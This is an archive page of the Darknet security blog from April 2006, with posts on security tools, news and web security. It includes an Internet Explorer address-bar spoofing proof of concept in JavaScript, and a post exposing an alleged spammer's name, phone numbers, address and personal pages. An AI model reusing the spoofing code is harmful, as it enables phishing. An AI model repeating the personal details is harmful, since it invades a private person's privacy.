Darknet - The Darkside

Don`t Learn to HACK - Hack to LEARN. That`s our motto and we stick to it, we are all about Ethical Hacking, Penetration Testing & Computer Security. We share and comment on interesting infosec related news, tools and more. Follow us on Twitter, Facebook or RSS for the latest updates.

12 April 2006 | 46,003 views

Download Youtube.com & Google Videos With 1 Click

Check For Vulnerabilities with Acunetix

With one easy click! We talked about Downloading Youtube.com Videos before, but now it’s even easier.

Found a new site that does this seamlessy, all you have to do is drag the bookmarklet to your toolbar, then when you see a video you want on Google or Youtube, just hit the button on your bookmark toolbar and it will be downloaded.

Check it out at:

http://keepvid.com/lite/

It doesn’t only work with Google and Youtube though, Keepvid also supports:

Angry Alien, ArtistDirect, Blastro, Blennus, Blip.tv, Bofunk, Bolt, Break.com, Castpost, Current TV, Dailymotion, DevilDucky, FindVideos, Free Video Blog, Grinvi, Grouper, iFilm, LuluTV, Metacafe, Midis.biz, Music.com, MusicVideoCodes.info, MySpace, MySpace Video Code, Newgrounds, PcPlanets, Pixparty, Putfile, REVVER, Sharkle, StreetFire, That Video Site, The One Network, VideoCodes4U, VideoCodesWorld, VideoCodeZone, vidiLife, VIDNET.com, Vimeo, vSocial, Web62.com, and ZippyVideos.

To play the videos just grab the VideoLAN Player, it’s a great piece of software and enables you to play pretty much any video format you want.



12 April 2006 | 21,715 views

Paros Proxy 3.2.10 Released – MITM HTTP and HTTPS Proxy

One of my favourite proxy options, along side the Burp Proxy (evolved into Burp Suite).

I’ll definately talk more about the Burp Suite later as it’s excellent for testing anything web-based.

Paros labels itself as MITM Proxy + Spider + Scanner plus anything else you want it to be, it is a pretty neat piece of software.

It’s particularly useful for testing web applications and things such as insecure sessions.

Paros is free of charge and completely written in Java. Through Paros’s proxy nature, all HTTP and HTTPS data between server and client, including cookies and form fields, can be intercepted and modified.

These proxies have a different purpose than those personal type proxies like Proxomitron which are intended to protect you, clean adverts, block spyware and so on. Proxies like Paros and Burp are meant for examining the security of applications and web application auditing.

You do need Java Run Time Enviroment (JRE) 1.4 (or above) to install Paros.

You can download the latest version of Paros Here.

Digg This Article


11 April 2006 | 3,969 views

Oracle on the Quest for ‘Secure Search’ – Rival for Google Desktop?

A competitor for our buddy Google Desktop perhaps?

ORACLE, the world’s third- biggest software maker, has begun selling software that allows users to search only personal data on their work computers such as email, word documents and calendar appointments.

Chief executive Larry Ellison says the California company’s new search program “is one of the biggest products in years,” and may help draw users away from Google, which also offers software for searching content on computers and operates the world’s most-used internet search site.

“Google has always had a good search, but it was the security side that it’s not good at,” Ellison told reporters at the annual Oracle OpenWorld Tokyo 2006 conference in Japan.

“We have the security problem solved. That’s what we’re good at, and that’s the hard part of the problem.”

Sounds like a pretty cocky stance to me, “That’s what we’re good at” eh?

Oh well, with that kind of attitude I guess they are destined to fail.

Let’s see what flaws and privacy issues this one has..

Source: Australian IT


10 April 2006 | 4,256 views

Homeland Security Scores an F for Internal Security AGAIN

Well I would have thought these guys should have had a little better security..

The Department of Homeland Security received an F (Failing) grade in cybersecurity from the House Government Reform Committee for the third year in a row. The Committee will likely give the Fed a D+ overall for its cybersecurity efforts. The grades will be unveiled today during a Committee oversight hearing, “Is the Government Ready for a Digital Pearl Harbor?” The grades are based on how well the comply with standards defined by the Federal Information Security Management Act (FISMA)

Homeland Scores an F

Better hope the cyber warfare cells from ‘enemy countries’ don’t notice this eh?

Source: Zdnet BlogsFull Chart


08 April 2006 | 8,110 views

CIA Employees Identified Online

Pretty Scary eh?

Although some people do call them the Central Lack-of Intelligence Agency.

Privacy is a major issue and well people should be a little more careful about what they reveal online, perhaps I’ll rehash my old Google Hacking Presentation and write it up as a post for Darknet. I guess it would be interesting reading for many people.

Remember the Internet has memory now with Google Cache, MSN and Yahoo! are starting to Cache too and there are other services like http://web.archive.org that show the history of a site. So if you slip up and make something public on your domain, it may well come back to haunt you.

The identities of 2,600 Central Intelligence Agency (CIA) employees and the locations of two dozen of the agency’s covert workplaces in the United States can be found easily through Internet searches, according to an investigation by the Chicago Tribune.

The newspaper obtained the information from data providers who charge fees for access to public records and reported on its findings in Sunday editions. It did not publish the identities or other details on its searches, citing concern it could endanger the CIA employees.

I’ll talk about this kind of thing more in depth later as it is one of my areas of expertise, passive information gathering, the things people expose on the net, it’s pretty amazing really..and scary at times as this CIA example shows.

One of the facilities, a CIA training area dubbed “The Farm” at Camp Peary, Virginia, was a well-kept secret for decades. The agency refused to publicly acknowledge its existence, even after former CIA personnel confirmed its presence in the 1980s.

But the Tribune said an Internet search for the term “Camp Peary” produced data identifying the names and other details of 26 people who apparently work there.

Additionally, a review of aviation databases for flights at Camp Peary’s airstrip revealed 17 aircraft whose ownership and flight histories also could be traced.

Really, I think they should at least try and be a little more careful.

Source: Zdnet


07 April 2006 | 3,654 views

Serious Vulnerability/Flaw Found in GPG – GnuPG

Just in case you didn’t read it, found this one in the archives.

A serious problem in the use of GPG to verify digital signatures has been discovered, which also affects the use of gpg in email. It is possible for an attacker to take any signed message and inject extra arbitrary data without affecting the signed status of the message. Depending on how gpg is invoked, it may be possible to output just faked data as several variants of this attack have been discovered. All versions of gnupg prior to 1.4.2.2 are affected, and it is thus recommended to update GnuPG as soon as possible to version 1.4.2.2

The problem is discussed in full here.

This new problem affects the use of *gpg* for verification of signatures which are _not_ detached signatures. The problem also affects verification of signatures embedded in encrypted messages; i.e. standard use of gpg for mails.

Keep it updated.


06 April 2006 | 9,918 views

China taking control of it’s own DNS servers

China are moving further away from the rest of the world when it comes to the Internet, taking control, making sure information doesn’t get out and making sure other people don’t have access to anything behind the Great Firewall of China.

China’s Ministry of Information Industry (MII) has made adjustment to China’s Internet domain name system in accordance with Article 6 of China Internet Domain Names Regulations.

After the adjustment, “.MIL” will be added under the top-level domain (TLD) name of “CN”.

A new Internet domain name system will take effect as of March 1 in China.

A pretty extensive system.

There’ll be 34 domain names for the organizations of China’s provinces, autonomous regions, municipalities directly under central government, and special administrative regions. They are mainly composed of the first letters of the Romanized spelling of the names of the regions, for example Beijing’s domain name is “BJ” and Shanghai’s is “SH”.

Source: People’s Daily Online


05 April 2006 | 119,193 views

AJAX: Is your application secure enough?

Introduction

We see it all around us, recently. Web applications get niftier by the day by utilising the various new techniques recently introduced in a few web-browsers, like I.E. and Firefox. One of those new techniques involves using Javascript. More specifically, the XmlHttpRequest-class, or object.

Webmail applications use it to quickly update the list of messages in your Inbox, while other applications use the technology to suggest various search-queries in real-time. All this without reloading the main, sometimes image- and banner- ridden, page. (That said, it will most probably be used by some of those ads as well.)

Before we go into possible weaknesses and things to keep in mind when implementing an AJAX enabled application, first a brief description of how this technology works.

The Basics

Asynchronous Javascript and XML, dubbed AJAX is basically doing this. Let me illustrate with an example, an email application. You are looking at your Inbox and want to delete a message. Normally, in plain HTML applications, the POST or GET request would perform the action, and re-locate to the Inbox, effectively reloading it.

With the XmlHttpRequest-object, however, this request can be done while the main page is still being shown.

In the background a call is made which performs the actual action on the server, and optionally responds with new data. (Note that this request can only be made to the web-site that the script is hosted on: it would leave massive DoS possibilities if I can create an HTML page that, using Javascript, can request thousands of concurrent web-pages from a web-site. You can guess what happens if a lot of people would visit that page.)

The Question

Some web-enabled applications, such as for email, do have pretty destructive functionality that could possibly be abused. The question is — will the average AJAX-enabled web-application be able to tell the difference between a real and a faked XmlHttpRequest?

Do you know if your recently developed AJAX-enabled or enhanced application is able to do this? And if so — does it do this adequately?

Do you even check referrers or some trivial token such as the user-agent? Chances are you do not even know. Chances are that other people, by now, do.

[…]


04 April 2006 | 9,792 views

IE Address Bar Spoofing

I recently found on securityfocus mailinglist a bug in IE which can be exploited with a simple javascript code to spoof the address bar location…

This allow attacker inject a malicious shockwave-flash application into Internet Explorer while it is display another URL (even trusted sites).

The vulnerability has been confirmed on a fully patched system with Internet Explorer 6.0 + Microsoft Windows XP SP2 and previous versions.
Sample code:

<script language=”javascript”>
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open(‘http://www.microsoft.com/’,’new’)
pause (2000)
win = window.open(‘http://www.buctuong.com/swfs/index.swf’,’new’)
pause (2000)
win = window.open(‘http://www.microsoft.com/’,’new’)

}
</script>
<a href=”javascript: spoof()”>Perform the test</a>

If you are vulnerable you will see the flash intro of buctuong.com while the address bar is http://www.microsoft.com/ If you have a very fast connection you may change my flash application to a larger one to make loading time take longer.

This spoofing technique discovered and proved by

Hai Nam Luke
K46A – NEU, Hanoi


04 April 2006 | 10,466 views

The Tale of a Real Malaysian E-mail Spammer Exposed – Webflexx

So a friend of mine received a spam, which is not unusual, but this one was a little different.

This guy is in Malaysia, and the spam he usually receives is from all over the place, mostly US-centric, but this one was targeting Malaysians, Malaysian spammer producing Malaysian spam, is it the first?

I asked for him to forward the mail to me so I could check it out, pretty standard spam.

Malaysian Spam

I then noticed Thunderbird was blocking some external images so I checked the source of the e-mail (The from address was pretty anonymous “eMarketer in Malaysia” dx8@tm.net.my).

Thunderbird Image Block

The source indeed revealed the location of the imbedded images:

Webflexx Spammer

http://www.webflexx.com/meng/wfx/

Fee Structure
RM288 – 150,000 emails (one day trial)
RM388 – 500,000 emails
RM688 – 1,000,000 emails
RM1376 – 2,000,000 emails
RM2064 – 3,000,000 emails + 1,000,000 emails FREE + ad design FREE!!

Reply with your contact number. Or call Ms Meng 012-205 1591 or Mr Lim 012- 302 3899

It seems this company webflexx does offer spamming services:

Direct E-mail Marketing

“direct email marketing” another term for spam right?

Notice the subdirectory of the spammer is /meng and the registrant of the webflexx domain is also an Ong Meng Foong, no coincidence right?

Webflexx Registration

24-2 Plaza Damansara Jalan Medan Setia 2,
Bukit Damansara,
KL,50490
MY
Tel. +603.22835898

Going up one directory allowed me to browse the /meng directory, quite a nice collection of stuff.

/meng Directory

Browsing through the /meng directory I also found a screenshot of a personal ‘blog’ from Meng Foong.

Meng Foong Blog

Now whilst I couldn’t quite make out the text of the URL I could see the name “Meng’s Fickle Rambling Sessions”, which I of course Googled and found his blog, you can have a read here:

http://omengos.blogspot.com/

Seems like a nice Christian boy…from his blog I also found his Flickr Page (Inactive) and his old Xanga page.

From browsing the sub-directories it seems his clients are sexual based so far, sex toys, condoms and so on.

Kinsei Corporation

Kinsei

I Need House

Ineedhouse

RMXXX

RMXXX

All his spam templates have this ‘disclaimer’ at the bottom:

Note: This email is meant for our potential clients. Should you have received it in error, please reply “unsubscribe” at the subject header. Thank you.

He or a friend named Amanda seems to be a student or ex-student of Help University college and a member of the Christian Fellowship there.

A quick Google Search on his site doesn’t yield much, just a couple more directories nothing interesting (/images and /multimedia).

I know people have to make a living, but spamming is not the way ok.

I hope no-one out there supports these spammers by paying them for these services, and no one of you uses any of these services advertised through spam.

There are plenty of pictures too in the http://www.webflexx.com/meng/ directory, check /tiomans and /kk to see :)

Have fun and remember don’t spam. If you really don’t know why spam is bad, read this.

Note: If you read this post by mistake, please e-mail Darknet with “unsubscribe” in the subject.

Digg This Article